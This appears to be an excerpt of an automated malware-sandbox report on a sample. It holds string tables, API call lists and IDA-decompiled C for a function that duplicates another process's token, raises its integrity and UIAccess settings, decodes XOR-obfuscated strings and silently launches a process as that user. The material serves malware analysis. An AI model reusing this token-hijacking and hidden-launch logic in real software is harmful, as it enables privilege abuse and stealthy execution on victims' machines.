V, xrefs: 00419CAA
V, xrefs: 0041A2C9
I, xrefs: 00419F1E
=, xrefs: 00419E6F
j, xrefs: 00419D75
\, xrefs: 0041A2A1
1, xrefs: 00419D13
2, xrefs: 0041A124
f, xrefs: 0041A0FC
8, xrefs: 00419EBC
A, xrefs: 0041A120
9, xrefs: 00419DA6
G, xrefs: 0041A26D
j, xrefs: 00419D4B
9, xrefs: 0041A2D1
\, xrefs: 00419D7C
J, xrefs: 00419F2C
1, xrefs: 00419CBF
v, xrefs: 00419E84
", xrefs: 00419EED
v, xrefs: 00419F10
d, xrefs: 0041A2D5
1, xrefs: 00419D91
*, xrefs: 00419EB5
o, xrefs: 0041A29D
A, xrefs: 0041A130
&, xrefs: 00419F66
2, xrefs: 0041A0F4
Tdo3X, xrefs: 0041A341
X, xrefs: 0041A274
2, xrefs: 0041A10C
8, xrefs: 00419F25
8, xrefs: 00419E76
:, xrefs: 00419E37
2, xrefs: 0041A128
d, xrefs: 0041A282
j, xrefs: 00419CA3
3, xrefs: 0041A2B5
I8Jvt, xrefs: 00419F8B
d, xrefs: 0041A23C
I, xrefs: 00419E4C
t, xrefs: 00419CDB
:c{qTf, xrefs: 0041A0A3, 0041A0BA
d2AfAV, xrefs: 0041A191
J, xrefs: 00419E5A
j, xrefs: 00419CF7
2, xrefs: 0041A110
X, xrefs: 0041A2E1
J, xrefs: 00419EE6
1, xrefs: 00419CE9
j, xrefs: 00419CCD
V, xrefs: 0041A104
q, xrefs: 0041A235
T, xrefs: 0041A295
oj9tr1, xrefs: 00419E10
\, xrefs: 00419CFE
o, xrefs: 0041A2C5
t, xrefs: 00419D59
X, xrefs: 0041A2A5
t, xrefs: 00419E68
P, xrefs: 00419D28
d, xrefs: 0041A2AD
t, xrefs: 00419EF4
, xrefs: 0041A2A9
t, xrefs: 00419DAD
3, xrefs: 0041A28D
t, xrefs: 00419D2F
d, xrefs: 00419EDF
J, xrefs: 00419D52
;, xrefs: 00419D6E
I, xrefs: 00419E92
+, xrefs: 00419EC3
3, xrefs: 0041A24A
t, xrefs: 00419D83
A, xrefs: 0041A108
1, xrefs: 0041A27B
<, xrefs: 00419CF0
+, xrefs: 00419E7D
!, xrefs: 0041A251
8, xrefs: 00419F02
0, xrefs: 0041A2C1
V, xrefs: 0041A11C
I, xrefs: 00419ED8
j, xrefs: 00419D21
(, xrefs: 00419DEB
', xrefs: 00419F09
<, xrefs: 0041A243
1, xrefs: 00419D3D
j, xrefs: 00419D9F
R, xrefs: 00419CE2
T, xrefs: 0041A2BD

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Free$Alloc$FileFind$lstrcat$lstrcpy$DirectoryErrorFirstLastNextlstrlenwsprintf$CloseDeleteEnvironmentExpandProfilesRemoveStrings
String ID: $!$"$#$$$%s\*$&$'$($($*$+$+$,$.$0$1$1$1$1$1$1$1$2$2$2$2$2$2$3$3$3$3$5$8$8$8$8$8$9$9$:$:c{qTf$;$<$<$=$A$A$A$A$G$I$I$I$I$I8Jvt$J$J$J$J$J$J$P$R$T$T$T$T$Tdo3X$U$V$V$V$V$V$X$X$X$X$\$\$\$d$d$d$d$d$d2AfAV$f$f$f$fcQqT$j$j$j$j$j$j$j$o$o$o$oj9tr1$q$t$t$t$t$t$t$t$t$t$t$t$v$v$v$v$|
API String ID: 1026174088-3439314535
Opcode ID: 04764088ac74c8ab39664eefde5654cbd519a6fd36cbac2d51c295408809267d
Instruction ID: 565be00f6e7c0cf9e1bd354543a5f85c8fd35706b4fc01e45c65368dedf0a23c
Opcode Fuzzy Hash: 04764088ac74c8ab39664eefde5654cbd519a6fd36cbac2d51c295408809267d
Instruction Fuzzy Hash: 73320370D082D8DAEB11C7A8CD587DEBFB55F16308F0441D9D5897B282C7BA1A89CF26

Function 00408EC0, Relevance: 221.1, APIs: 19, Strings: 107, Instructions: 631
processmemoryCrypto

C-Code - Quality: 58%

			E00408EC0(void* __eflags, long _a4, struct _PROCESS_INFORMATION* _a8) {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v79;
				char _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				struct _SID_IDENTIFIER_AUTHORITY _v108;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				void* _v296;
				char _v300;
				char _v304;
				signed int _v308;
				char _v312;
				char _v316;
				char _v320;
				char _v324;
				char _v328;
				void* _v332;
				void* _v336;
				char _v340;
				intOrPtr _v344;
				void _v348;
				void _v352;
				void* _v356;
				WCHAR* _v360;
				struct _STARTUPINFOW _v428;
				signed int _t431;
				signed int _t439;
				signed int _t443;
				signed int _t445;
				signed int _t474;
				long _t498;
				signed int _t503;
				signed int _t568;
				signed int _t573;
				signed int _t584;
				signed int _t606;
				signed int _t613;
				void* _t646;

				_v336 = 0;
				_v308 = 4;
				_v360 = 0;
				_v8 = 0;
				_v296 = 0;
				_v44 = 0;
				_v48 = 0;
				_v108.Value = 0;
				_v107 = 0;
				_v106 = 0;
				_v105 = 0;
				_v104 = 0;
				_v103 = 0x10;
				_v52 = 0;
				memset(_a8, 0, 0x10 << 0);
				memset( &_v428, 0, 0x44 << 0);
				memset( &_v348, 0, 8 << 0);
				_v52 = OpenProcess(0x2000000, 0, _a4);
				_v152 = 0x28;
				_v151 = 0x26;
				_v150 = 0x10;
				_v149 = 5;
				_v148 = 0x31;
				_v147 = 0x15;
				_v146 = 0x70;
				_v145 = 0x71;
				_v144 = 0x4c;
				_v143 = 0xf;
				_v142 = 0x38;
				_v141 = 0x15;
				_v140 = 0x43;
				_v100 = 0x43;
				_v99 = 0x43;
				_v98 = 0x62;
				_v97 = 0x6b;
				_v96 = 0x54;
				_v95 = 0x79;
				E00402B00( &_v316, 0xd);
				_v12 = 0;
				while(_v12 < 0xd) {
					if(1 != 0) {
						asm("cdq");
						_t56 = _v12 % 6 - 0x60; // 0x43
						E00402AE0( &_v316, _v12,  *(_t646 + _v12 - 0x94) & 0x000000ff ^  *(_t646 + _t56) & 0x000000ff);
					}
					_v12 = _v12 + 1;
				}
				__eflags = _v52;
				if(_v52 != 0) {
					_v168 = 0x28;
					_v167 = 0x26;
					_v166 = 0x10;
					_v165 = 5;
					_v164 = 0x31;
					_v163 = 0x15;
					_v162 = 0x70;
					_v161 = 0x71;
					_v160 = 0x4c;
					_v159 = 0xf;
					_v158 = 0x38;
					_v157 = 0x15;
					_v156 = 0x43;
					_v124 = 0x43;
					_v123 = 0x43;
					_v122 = 0x62;
					_v121 = 0x6b;
					_v120 = 0x54;
					_v119 = 0x79;
					_t431 = E00402B00( &_v312, 0xd);
					_v16 = 0;
					while(1) {
						__eflags = _v16 - 0xd;
						if(_v16 >= 0xd) {
							break;
						}
						__eflags = 1;
						if(1 != 0) {
							asm("cdq");
							_t93 = _v16 % 6 - 0x78; // 0x43
							__eflags =  *(_t646 + _v16 - 0xa4) & 0x000000ff ^  *(_t646 + _t93) & 0x000000ff;
							_t431 = E00402AE0( &_v312, _v16,  *(_t646 + _v16 - 0xa4) & 0x000000ff ^  *(_t646 + _t93) & 0x000000ff);
						}
						_t584 = _v16 + 1;
						__eflags = _t584;
						_v16 = _t584;
					}
					__imp__ProcessIdToSessionId(_a4,  &_v336);
					__eflags = _t431;
					if(_t431 != 0) {
						_v260 = 0x2d;
						_v259 = 0x13;
						_v258 = 0x28;
						_v257 = 0x1f;
						_v256 = 0x15;
						_v255 = 0x13;
						_v254 = 0x1a;
						_v253 = 0x34;
						_v252 = 0;
						_v251 = 0x19;
						_v250 = 4;
						_v249 = 4;
						_v248 = 0xe;
						_v247 = 0x2e;
						_v246 = 0x17;
						_v245 = 0xc;
						_v244 = 0x1f;
						_v243 = 0x13;
						_v242 = 0xe;
						_v241 = 6;
						_v240 = 0xd;
						_v239 = 3;
						_v238 = 0x1f;
						_v237 = 0xf;
						_v236 = 0x63;
						_v116 = 0x63;
						_v115 = 0x67;
						_v114 = 0x79;
						_v113 = 0x6a;
						_v112 = 0x70;
						_v111 = 0x61;
						E00402B00( &_v320, 0x19);
						_v20 = 0;
						while(1) {
							__eflags = _v20 - 0x19;
							if(_v20 >= 0x19) {
								break;
							}
							__eflags = 1;
							if(1 != 0) {
								asm("cdq");
								_t143 = _v20 % 6 - 0x70; // 0x63
								__eflags =  *(_t646 + _v20 - 0x100) & 0x000000ff ^  *(_t646 + _t143) & 0x000000ff;
								E00402AE0( &_v320, _v20,  *(_t646 + _v20 - 0x100) & 0x000000ff ^  *(_t646 + _t143) & 0x000000ff);
							}
							_t503 = _v20 + 1;
							__eflags = _t503;
							_v20 = _t503;
						}
						__eflags = OpenProcessToken(_v52, 0x201eb,  &_v296);
						if(__eflags != 0) {
							E004099B0(__eflags, 0);
							_t439 = DuplicateTokenEx(_v296, 0x2000000, 0, 1, 1,  &_v8);
							__eflags = _t439;
							if(_t439 != 0) {
								SetTokenInformation(_v8, 0xc, _v336, 4);
								_t443 = AllocateAndInitializeSid( &_v108, 1, 0x4000, 0, 0, 0, 0, 0, 0, 0,  &_v48);
								__eflags = _t443;
								if(_t443 != 0) {
									_v344 = 0x20;
									_v348 = _v48;
									_t498 = GetLengthSid(_v48) + 8;
									__eflags = _t498;
									SetTokenInformation(_v8, 0x19,  &_v348, _t498);
									FreeSid(_v48);
								}
								_v352 = 0;
								_t445 = SetTokenInformation(_v8, 0x1b,  &_v352, 4);
								__imp__CreateEnvironmentBlock( &_v44, _v8, 1);
								__eflags = _t445;
								if(_t445 == 0) {
									_v44 = 0;
								} else {
									_v308 = _v308 | 0x00000400;
								}
								_v428.cb = 0x44;
								_v292 = 5;
								_v291 = 0x43;
								_v290 = 0x26;
								_v289 = 0x71;
								_v288 = 0xb;
								_v287 = 0x75;
								_v286 = 1;
								_v285 = 0x43;
								_v284 = 0x3b;
								_v283 = 0x71;
								_v282 = 4;
								_v281 = 0x75;
								_v280 = 0x42;
								_v279 = 0x43;
								_v278 = 0x13;
								_v277 = 0x71;
								_v276 = 1;
								_v275 = 0x75;
								_v274 = 0x17;
								_v273 = 0x43;
								_v272 = 0x29;
								_v271 = 0x71;
								_v270 = 4;
								_v269 = 0x75;
								_v268 = 7;
								_v267 = 0x43;
								_v266 = 0x23;
								_v265 = 0x71;
								_v264 = 0x11;
								_v263 = 0x75;
								_v262 = 0x72;
								_v261 = 0x43;
								_v92 = 0x72;
								_v91 = 0x43;
								_v90 = 0x4f;
								_v89 = 0x71;
								_v88 = 0x65;
								_v87 = 0x75;
								E00402B00( &_v300, 0x40);
								_v24 = 0;
								while(1) {
									__eflags = _v24 - 0x20;
									if(_v24 >= 0x20) {
										break;
									}
									__eflags = 1;
									if(1 != 0) {
										asm("cdq");
										_t222 = _v24 % 6 - 0x58; // 0x72
										__eflags =  *(_t646 + _v24 - 0x120) & 0x000000ff ^  *(_t646 + _t222) & 0x000000ff;
										E00402AE0( &_v300, _v24,  *(_t646 + _v24 - 0x120) & 0x000000ff ^  *(_t646 + _t222) & 0x000000ff);
									}
									_t573 = _v24 + 1;
									__eflags = _t573;
									_v24 = _t573;
								}
								_v232 = 0x17;
								_v231 = 0x34;
								_v230 = 0x17;
								_v229 = 0x30;
								_v228 = 0xf;
								_v227 = 0x46;
								_v226 = 0xc;
								_v225 = 0x34;
								_v224 = 0xe;
								_v223 = 0x30;
								_v222 = 0x1f;
								_v221 = 0x46;
								_v220 = 0x10;
								_v219 = 0x34;
								_v218 = 0x4f;
								_v217 = 0x30;
								_v216 = 9;
								_v215 = 0x46;
								_v214 = 0x1c;
								_v213 = 0x34;
								_v212 = 4;
								_v211 = 0x30;
								_v210 = 0x6c;
								_v209 = 0x46;
								_v84 = 0x64;
								_v83 = 0x34;
								_v82 = 0x61;
								_v81 = 0x30;
								_v80 = 0x6c;
								_v79 = 0x46;
								E00402B00( &_v304, 0x30);
								_v28 = 0;
								while(1) {
									__eflags = _v28 - 0x18;
									if(_v28 >= 0x18) {
										break;
									}
									__eflags = 1;
									if(1 != 0) {
										asm("cdq");
										_t269 = _v28 % 6 - 0x50; // 0x64
										__eflags =  *(_t646 + _v28 - 0xe4) & 0x000000ff ^  *(_t646 + _t269) & 0x000000ff;
										E00402AE0( &_v304, _v28,  *(_t646 + _v28 - 0xe4) & 0x000000ff ^  *(_t646 + _t269) & 0x000000ff);
									}
									_t568 = _v28 + 1;
									__eflags = _t568;
									_v28 = _t568;
								}
								_v428.lpDesktop = E00402AD0( &_v300);
								_v428.wShowWindow = 0;
								_v428.dwFlags = 1;
								_v188 = 0x40;
								_v187 = 0x57;
								_v186 = 0x10;
								_v185 = 0x36;
								_v184 = 0x16;
								_v183 = 0x37;
								_v182 = 0x40;
								_v181 = 0x57;
								_v180 = 0x19;
								_v179 = 0x36;
								_v178 = 0x45;
								_v177 = 0x37;
								_v176 = 0x47;
								_v175 = 0x57;
								_v174 = 0x46;
								_v173 = 0x36;
								_v172 = 0x65;
								_v171 = 0x37;
								_v76 = 0x62;
								_v75 = 0x57;
								_v74 = 0x35;
								_v73 = 0x36;
								_v72 = 0x65;
								_v71 = 0x37;
								E00402B00( &_v324, 0x24);
								_v32 = 0;
								while(1) {
									__eflags = _v32 - 0x12;
									if(_v32 >= 0x12) {
										break;
									}
									__eflags = 1;
									if(1 != 0) {
										asm("cdq");
										_t314 = _v32 % 6 - 0x48; // 0x62
										__eflags =  *(_t646 + _v32 - 0xb8) & 0x000000ff ^  *(_t646 + _t314) & 0x000000ff;
										E00402AE0( &_v324, _v32,  *(_t646 + _v32 - 0xb8) & 0x000000ff ^  *(_t646 + _t314) & 0x000000ff);
									}
									_t613 = _v32 + 1;
									__eflags = _t613;
									_v32 = _t613;
								}
								CreateProcessAsUserW(_v8, E00402AD0( &_v304), 0, 0, 0, 0, _v308, _v44, 0,  &_v428, _a8);
								_v208 = 0x32;
								_v207 = 0x33;
								_v206 = 0x37;
								_v205 = 0x38;
								_v204 = 0x14;
								_v203 = 0x4a;
								_v202 = 0x46;
								_v201 = 0x46;
								_v200 = 0x4f;
								_v199 = 0x7a;
								_v198 = 0x23;
								_v197 = 0x33;
								_v196 = 0x28;
								_v195 = 0x38;
								_v194 = 0x15;
								_v193 = 0x4a;
								_v192 = 0x33;
								_v191 = 0x46;
								_v60 = 0x4a;
								_v59 = 0x33;
								_v58 = 0x46;
								_v57 = 0x38;
								_v56 = 0x7a;
								E00402B00( &_v328, 0x24);
								_v36 = 0;
								while(1) {
									__eflags = _v36 - 0x12;
									if(_v36 >= 0x12) {
										break;
									}
									__eflags = 1;
									if(1 != 0) {
										asm("cdq");
										_t360 = _v36 % 5 - 0x38; // 0x4a
										__eflags =  *(_t646 + _v36 - 0xcc) & 0x000000ff ^  *(_t646 + _t360) & 0x000000ff;
										E00402AE0( &_v328, _v36,  *(_t646 + _v36 - 0xcc) & 0x000000ff ^  *(_t646 + _t360) & 0x000000ff);
									}
									_t474 = _v36 + 1;
									__eflags = _t474;
									_v36 = _t474;
								}
								__eflags = _a8->hProcess;
								if(_a8->hProcess != 0) {
									_v136 = 0x33;
									_v135 = 0x37;
									_v134 = 0x5e;
									_v133 = 0x33;
									_v132 = 0x28;
									_v131 = 9;
									_v130 = 5;
									_v129 = 0x2c;
									_v128 = 0x5f;
									_v127 = 0x61;
									_v68 = 0x61;
									_v67 = 0x43;
									_v66 = 0x32;
									_v65 = 0x61;
									_v64 = 0x49;
									_v63 = 0x67;
									E00402B00( &_v340, 0xa);
									_v40 = 0;
									while(1) {
										__eflags = _v40 - 0xa;
										if(_v40 >= 0xa) {
											break;
										}
										__eflags = 1;
										if(1 != 0) {
											asm("cdq");
											_t394 = _v40 % 6 - 0x40; // 0x61
											__eflags =  *(_t646 + _v40 - 0x84) & 0x000000ff ^  *(_t646 + _t394) & 0x000000ff;
											E00402AE0( &_v340, _v40,  *(_t646 + _v40 - 0x84) & 0x000000ff ^  *(_t646 + _t394) & 0x000000ff);
										}
										_t606 = _v40 + 1;
										__eflags = _t606;
										_v40 = _t606;
									}
									__eflags = OpenProcessToken( *_a8, 0x201eb,  &_v332);
									if(__eflags != 0) {
										E004099B0(__eflags, _v332);
										CloseHandle(_v332);
									}
									CloseHandle(_a8->hThread);
									E00402B30( &_v340);
								}
								__eflags = _v44;
								if(_v44 != 0) {
									__imp__DestroyEnvironmentBlock(_v44);
								}
								CloseHandle(_v8);
								E00402B30( &_v328);
								E00402B30( &_v324);
								E00402B30( &_v304);
								E00402B30( &_v300);
							}
							CloseHandle(_v296);
						}
						E00402B30( &_v320);
					}
					CloseHandle(_v52);
					E00402B30( &_v312);
				}
				_v356 =  *_a8;
				E00402B30( &_v316);
				return _v356;
			}

0x00408ecb
0x00408ed5
0x00408edf
0x00408ee9
0x00408ef0
0x00408efa
0x00408f01
0x00408f08
0x00408f0c
0x00408f10
0x00408f14
0x00408f18
0x00408f1c
0x00408f20
0x00408f31
0x00408f40
0x00408f4f
0x00408f62
0x00408f65
0x00408f6c
0x00408f73
0x00408f7a
0x00408f81
0x00408f88
0x00408f8f
0x00408f96
0x00408f9d
0x00408fa4
0x00408fab
0x00408fb2
0x00408fb9
0x00408fc0
0x00408fc4
0x00408fc8
0x00408fcc
0x00408fd0
0x00408fd4
0x00408fe0
0x00408fe5
0x00408ff7
0x00409004
0x00409014
0x0040901c
0x0040902e
0x0040902e
0x00408ff4
0x00408ff4
0x00409035
0x00409039
0x0040903f
0x00409046
0x0040904d
0x00409054
0x0040905b
0x00409062
0x00409069
0x00409070
0x00409077
0x0040907e
0x00409085
0x0040908c
0x00409093
0x0040909a
0x0040909e
0x004090a2
0x004090a6
0x004090aa
0x004090ae
0x004090ba
0x004090bf
0x004090d1
0x004090d1
0x004090d5
0x00000000
0x00000000
0x004090dc
0x004090de
0x004090ee
0x004090f6
0x004090fb
0x00409108
0x00409108
0x004090cb
0x004090cb
0x004090ce
0x004090ce
0x0040911a
0x00409120
0x00409122
0x00409128
0x0040912f
0x00409136
0x0040913d
0x00409144
0x0040914b
0x00409152
0x00409159
0x00409160
0x00409167
0x0040916e
0x00409175
0x0040917c
0x00409183
0x0040918a
0x00409191
0x00409198
0x0040919f
0x004091a6
0x004091ad
0x004091b4
0x004091bb
0x004091c2
0x004091c9
0x004091d0
0x004091d7
0x004091db
0x004091df
0x004091e3
0x004091e7
0x004091eb
0x004091f7
0x004091fc
0x0040920e
0x0040920e
0x00409212
0x00000000
0x00000000
0x00409219
0x0040921b
0x0040922b
0x00409233
0x00409238
0x00409245
0x00409245
0x00409208
0x00409208
0x0040920b
0x0040920b
0x00409262
0x00409264
0x0040926c
0x00409287
0x0040928d
0x0040928f
0x004092a4
0x004092c7
0x004092cd
0x004092cf
0x004092d1
0x004092de
0x004092ee
0x004092ee
0x004092ff
0x00409309
0x00409309
0x0040930f
0x00409328
0x00409338
0x0040933e
0x00409340
0x00409355
0x00409342
0x0040934d
0x0040934d
0x0040935c
0x00409366
0x0040936d
0x00409374
0x0040937b
0x00409382
0x00409389
0x00409390
0x00409397
0x0040939e
0x004093a5
0x004093ac
0x004093b3
0x004093ba
0x004093c1
0x004093c8
0x004093cf
0x004093d6
0x004093dd
0x004093e4
0x004093eb
0x004093f2
0x004093f9
0x00409400
0x00409407
0x0040940e
0x00409415
0x0040941c
0x00409423
0x0040942a
0x00409431
0x00409438
0x0040943f
0x00409446
0x0040944a
0x0040944e
0x00409452
0x00409456
0x0040945a
0x00409466
0x0040946b
0x0040947d
0x0040947d
0x00409481
0x00000000
0x00000000
0x00409488
0x0040948a
0x0040949a
0x004094a2
0x004094a7
0x004094b4
0x004094b4
0x00409477
0x00409477
0x0040947a
0x0040947a
0x004094bb
0x004094c2
0x004094c9
0x004094d0
0x004094d7
0x004094de
0x004094e5
0x004094ec
0x004094f3
0x004094fa
0x00409501
0x00409508
0x0040950f
0x00409516
0x0040951d
0x00409524
0x0040952b
0x00409532
0x00409539
0x00409540
0x00409547
0x0040954e
0x00409555
0x0040955c
0x00409563
0x00409567
0x0040956b
0x0040956f
0x00409573
0x00409577
0x00409583
0x00409588
0x0040959a
0x0040959a
0x0040959e
0x00000000
0x00000000
0x004095a5
0x004095a7
0x004095b7
0x004095bf
0x004095c4
0x004095d1
0x004095d1
0x00409594
0x00409594
0x00409597
0x00409597
0x004095e3
0x004095eb
0x004095f2
0x004095fc
0x00409603
0x0040960a
0x00409611
0x00409618
0x0040961f
0x00409626
0x0040962d
0x00409634
0x0040963b
0x00409642
0x00409649
0x00409650
0x00409657
0x0040965e
0x00409665
0x0040966c
0x00409673
0x0040967a
0x0040967e
0x00409682
0x00409686
0x0040968a
0x0040968e
0x0040969a
0x0040969f
0x004096b1
0x004096b1
0x004096b5
0x00000000
0x00000000
0x004096bc
0x004096be
0x004096ce
0x004096d6
0x004096db
0x004096e8
0x004096e8
0x004096ab
0x004096ab
0x004096ae
0x004096ae
0x0040971f
0x00409725
0x0040972c
0x00409733
0x0040973a
0x00409741
0x00409748
0x0040974f
0x00409756
0x0040975d
0x00409764
0x0040976b
0x00409772
0x00409779
0x00409780
0x00409787
0x0040978e
0x00409795
0x0040979c
0x004097a3
0x004097a7
0x004097ab
0x004097af
0x004097b3
0x004097bf
0x004097c4
0x004097d6
0x004097d6
0x004097da
0x00000000
0x00000000
0x004097e1
0x004097e3
0x004097f3
0x004097fb
0x00409800
0x0040980d
0x0040980d
0x004097d0
0x004097d0
0x004097d3
0x004097d3
0x00409817
0x0040981a
0x00409820
0x00409827
0x0040982e
0x00409835
0x0040983c
0x00409840
0x00409844
0x00409848
0x0040984c
0x00409850
0x00409854
0x00409858
0x0040985c
0x00409860
0x00409864
0x00409868
0x00409874
0x00409879
0x0040988b
0x0040988b
0x0040988f
0x00000000
0x00000000
0x00409896
0x00409898
0x004098a8
0x004098b0
0x004098b5
0x004098c2
0x004098c2
0x00409885
0x00409885
0x00409888
0x00409888
0x004098e1
0x004098e3
0x004098ec
0x004098f8
0x004098f8
0x00409905
0x00409911
0x00409911
0x00409916
0x0040991a
0x00409920
0x00409920
0x0040992a
0x00409936
0x00409941
0x0040994c
0x00409957
0x00409957
0x00409963
0x00409963
0x0040996f
0x0040996f
0x00409978
0x00409984
0x00409984
0x0040998e
0x0040999a
0x004099aa

APIs

OpenProcess.KERNEL32(02000000,00000000,?,?), ref: 00408F5C

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

ProcessIdToSessionId.KERNEL32(0000000D,00000000,0000000D,0000000D), ref: 0040911A
OpenProcessToken.ADVAPI32(00000000,000201EB,00000000,00000019), ref: 0040925C
DuplicateTokenEx.ADVAPI32(00000000,02000000,00000000,00000001,00000001,00000000,00000000), ref: 00409287
SetTokenInformation.ADVAPI32(00000000,0000000C,00000000,00000004), ref: 004092A4
AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00004000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004092C7
GetLengthSid.ADVAPI32(00000000), ref: 004092E8
SetTokenInformation.ADVAPI32(00000000,00000019,?,-00000008), ref: 004092FF
FreeSid.ADVAPI32(00000000), ref: 00409309
SetTokenInformation.ADVAPI32(00000000,0000001B,00000000,00000004), ref: 00409328
CreateEnvironmentBlock.USERENV(00000000,00000000,00000001), ref: 00409338
CreateProcessAsUserW.ADVAPI32 ref: 0040971F
OpenProcessToken.ADVAPI32(00000000,000201EB,?,0000000A,00000024), ref: 004098DB
CloseHandle.KERNEL32(?), ref: 004098F8
CloseHandle.KERNEL32(?), ref: 00409905
DestroyEnvironmentBlock.USERENV(00000000,00000024), ref: 00409920
CloseHandle.KERNEL32(00000000), ref: 0040992A
CloseHandle.KERNEL32(00000000), ref: 00409963
CloseHandle.KERNEL32(00000000), ref: 00409978

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

0, xrefs: 00409524
(, xrefs: 00409779
0, xrefs: 0040954E
7, xrefs: 00409673
u, xrefs: 004093DD
F, xrefs: 0040979C
(, xrefs: 0040903F
, xrefs: 004092D1
8, xrefs: 00408FAB
F, xrefs: 00409756
q, xrefs: 00409070
q, xrefs: 004093A5
3, xrefs: 00409835
CCbkTy, xrefs: 004090F6
p, xrefs: 00409069
q, xrefs: 0040937B
C, xrefs: 004093C1
C, xrefs: 004093EB
rCOqeu, xrefs: 004094A2
E, xrefs: 00409642
u, xrefs: 00409407
6, xrefs: 0040963B
p, xrefs: 00408F8F
r, xrefs: 00409438
F, xrefs: 00409532
CCbkTy, xrefs: 0040901C
c, xrefs: 004091D0
#, xrefs: 0040976B
q, xrefs: 004093F9
z, xrefs: 00409764
0, xrefs: 004094FA
aC2aIg, xrefs: 004098B0
6, xrefs: 00409665
8, xrefs: 00409780
L, xrefs: 00408F9D
@, xrefs: 00409626
8, xrefs: 0040973A
D, xrefs: 0040935C
#, xrefs: 0040941C
a, xrefs: 00409850
(, xrefs: 00409136
., xrefs: 00409183
3, xrefs: 0040972C
J, xrefs: 0040978E
(, xrefs: 00408F65
J3F8z, xrefs: 004097FB
7, xrefs: 00409649
), xrefs: 004093F2
u, xrefs: 00409431
1, xrefs: 0040905B
C, xrefs: 00408FB9
4, xrefs: 00409159
3, xrefs: 00409795
C, xrefs: 0040943F
&, xrefs: 00409374
@, xrefs: 004095FC
W, xrefs: 00409657
4, xrefs: 004094EC
3, xrefs: 00409772
(, xrefs: 0040983C
u, xrefs: 00409389
L, xrefs: 00409077
W, xrefs: 0040962D
4, xrefs: 00409516
;, xrefs: 0040939E
_, xrefs: 0040984C
4, xrefs: 00409540
F, xrefs: 004094DE
B, xrefs: 004093BA
^, xrefs: 0040982E
d4a0lF, xrefs: 004095BF
F, xrefs: 0040974F
2, xrefs: 00409725
, xrefs: 0040947D
cgyjpa, xrefs: 00409233
7, xrefs: 0040961F
G, xrefs: 00409650
J, xrefs: 00409748
F, xrefs: 00409508
l, xrefs: 00409555
7, xrefs: 00409733
e, xrefs: 0040966C
q, xrefs: 004093CF
C, xrefs: 0040936D
&, xrefs: 00409046
1, xrefs: 00408F81
7, xrefs: 00409827
F, xrefs: 0040955C
4, xrefs: 004094C2
bW56e7, xrefs: 004096D6
F, xrefs: 0040965E
O, xrefs: 0040975D
8, xrefs: 00409085
,, xrefs: 00409848
&, xrefs: 00408F6C
C, xrefs: 00409415
6, xrefs: 00409611
3, xrefs: 00409820
W, xrefs: 00409603
0, xrefs: 004094D0
C, xrefs: 00409093
C, xrefs: 00409397
q, xrefs: 00408F96
-, xrefs: 00409128
